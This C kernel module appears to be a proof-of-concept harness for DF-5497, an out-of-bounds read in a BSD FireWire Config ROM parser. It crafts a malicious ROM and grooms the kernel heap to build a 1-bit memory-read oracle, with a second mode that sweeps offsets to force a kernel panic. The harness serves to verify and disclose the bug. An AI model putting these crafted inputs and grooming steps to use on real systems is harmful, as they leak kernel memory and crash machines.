/* * DF-5497 verification harness (KLD, production code). * * Finding: crom_next() derives a nested-directory pointer from the * unvalidated 24-bit entry value * * sys/bus/firewire/fwcrom.c:122 * ptr->dir = (struct csrdirectory *) (reg + reg->val); * * and dereferences it * * sys/bus/firewire/fwcrom.c:130 * if (ptr->index < ptr->dir->crc_len && ... * sys/bus/firewire/fwcrom.c:134 * if (ptr->index < ptr->dir->crc_len) * * BEFORE any bounds check. reg->val is u_int32_t:24 (iec13213.h:124-132), * i.e. 0..0xffffff quadlets => the kernel reads 4 bytes at * ROMbase + up to +64 MB, chosen by the peer device. The CROM_END * comparison on the following operand of the && would have rejected the * directory -- but it runs after the faulting load. * * Production trigger chain (statically verified, path:line): * FireWire bus reset -> fw_bus_explore() reads the peer Config ROM * quadlet by quadlet into fwdev->csrrom[CSRROMSIZE/4] (firewire.c:1500, * firewirereg.h:52-54 -- 1024-byte buffer, contents 100% device data) * sbp(4) attach/probe on every fwdev: * sbp.c:412 / sbp.c:468 / sbp.c:567 / sbp.c:602 * crom_init_context(&cc, target->fwdev->csrrom) * sbp.c:416 / sbp.c:472 / sbp.c:568 / sbp.c:604-619 * crom_search_key(&cc, ...) -- crom_next() walk * A peer ROM whose root (or any) directory holds a CSRTYPE_D entry * (0xc0-0xff keys -- every real unit directory, key 0xd1, qualifies) * with val = V makes the kernel load 4 bytes at * csrrom + 24 + 4*V, V up to 0xffffff (+64 MB). * * The guest has no FireWire controller (hardware-gated finding), so the * harness models exactly the buffer the production code is invoked on -- * kmalloc'd 1024-byte csrrom stand-in, device-controlled contents -- and * drives the PRODUCTION crom_init_context()/crom_next() compiled into * this module via #include (fwcrom.c symbols renamed with -D in the * Makefile so they do not collide with the copy in the guest kernel). * * Modes (sysctl kern.df5497_mode, fire with kern.df5497_fire=1): * 1 = oracle : 5 descents to +1.2 KB .. +64 KB past the buffer. * Kernel heap there is mapped, so no fault: instead each descent * prints "crom_next: bound check failed" (fwcrom.c:135) iff the * foreign 16-bit crc_len word read OOB was non-zero => a 1-bit * kernel-memory oracle per crafted val, on the production console * path. * 2 = sweep : 16 descents, +4 MB .. +64 MB past the buffer in 4 MB * steps. The kmem heap arena is far smaller than 64 MB, so a step * lands in unmapped kernel_map space: Fatal trap 12 in crom_next * (expect panic; mapped steps print the oracle line first). */ #include #include #include #include #include #include #include /* PRODUCTION parser: sys/bus/firewire/fwcrom.c, unmodified. * Globals renamed by -D in the Makefile (dfh_*). */ #include static int df5497_mode = 1; static int df5497_fire = 0; SYSCTL_INT(_kern, OID_AUTO, df5497_mode, CTLFLAG_RW, &df5497_mode, 0, "harness case: 1=oracle (+KB offsets), 2=panic sweep (+MB offsets)"); #define ROMQUADS (1024 / 4) /* 256 quads, as fwdev->csrrom[] */ static int df5497_run(void) { struct crom_context cc; u_int32_t *rom, *groom[64]; int i, n, step; /* * Slab groom so the oracle is observable: fill 64 same-class * 1024-byte blocks with a quadlet pattern whose 16-bit crc_len * field is 1 (non-zero), free every other block in the middle of * the array, then allocate the model ROM -- it reuses one of the * holes, surrounded by patterned, still-mapped neighbours. Every * OOB crc_len load that lands on a neighbour now reads 1 and the * production "crom_next: bound check failed" line fires (an * observable 1-bit kernel-memory oracle per crafted val). */ for (i = 0; i < 64; i++) { groom[i] = kmalloc(1024, M_TEMP, M_WAITOK); for (n = 0; n < 256; n++) groom[i][n] = 1 << 16; /* crc_len = 1 */ } for (i = 8; i < 56; i += 2) { kfree(groom[i], M_TEMP); groom[i] = NULL; } rom = kmalloc(1024, M_TEMP, M_WAITOK | M_ZERO); if (rom == NULL) return (ENOMEM); /* Device-controlled contents, laid out for crom_init_context(): * Q0 : csrhdr { info_len = 4 } (LE: 4 << 24) * Q1-4: bus_info block (don't care) * Q5 : root dir header { crc_len = n } (LE: n << 16) * Q6-: root entries { key = 0xd1 (CSRTYPE_D|CSRKEY_UNIT), val = V } * LE csrreg: val in bits 0..23, key in bits 24..31. */ rom[0] = 4 << 24; if (df5497_mode == 1) { static const int vals[5] = { 300, 400, 1000, 2048, 4096 }; n = 5; rom[5] = n << 16; for (i = 0; i < n; i++) rom[6 + i] = (0xd1u << 24) | (vals[i] & 0xffffff); kprintf("DF5497 mode1: 5 descents at +%d..+%d bytes past the " "1024-byte ROM, slab groomed with crc_len=1 pattern: " "expect 'crom_next: bound check failed' oracle lines, " "no fault\n", 24 + 4 * vals[0], 24 + 4 * vals[n - 1]); } else { n = 16; step = 0x100000; /* quadlets: +4 MB per step */ rom[5] = n << 16; for (i = 0; i < n; i++) rom[6 + i] = (0xd1u << 24) | (((i + 1) * step) & 0xffffff); kprintf("DF5497 mode2: 16 descents at +4 MB..+64 MB past the " "ROM in 4 MB steps: expect oracle lines then Fatal trap 12 " "in dfh_crom_next (unmapped kernel_map page)\n"); } /* Production walk, exactly as sbp.c:412-425 drives it. */ dfh_crom_init_context(&cc, rom); i = 0; while (cc.depth >= 0) { dfh_crom_next(&cc); i++; } kfree(rom, M_TEMP); for (i = 0; i < 64; i++) if (groom[i] != NULL) kfree(groom[i], M_TEMP); kprintf("DF5497 mode%d: walk finished after %d crom_next() calls, " "depth=%d -- UNEXPECTEDLY no fault (all probe offsets mapped)\n", df5497_mode, i, cc.depth); return (0); } static int df5497_sysctl_fire(SYSCTL_HANDLER_ARGS) { int error, val = df5497_fire; error = sysctl_handle_int(oidp, &val, 0, req); if (error != 0 || req->newptr == NULL) return (error); if (val == 1) df5497_run(); df5497_fire = val; return (0); } SYSCTL_PROC(_kern, OID_AUTO, df5497_fire, CTLTYPE_INT | CTLFLAG_RW, 0, 0, df5497_sysctl_fire, "I", "write 1 to fire the current df5497 case"); static int df5497_modeh(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: kprintf("DF5497 harness loaded (production fwcrom.c)\n"); return (0); case MOD_UNLOAD: return (0); default: return (EOPNOTSUPP); } } static moduledata_t df5497_mod = { "df5497", df5497_modeh, 0 }; DECLARE_MODULE(df5497, df5497_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);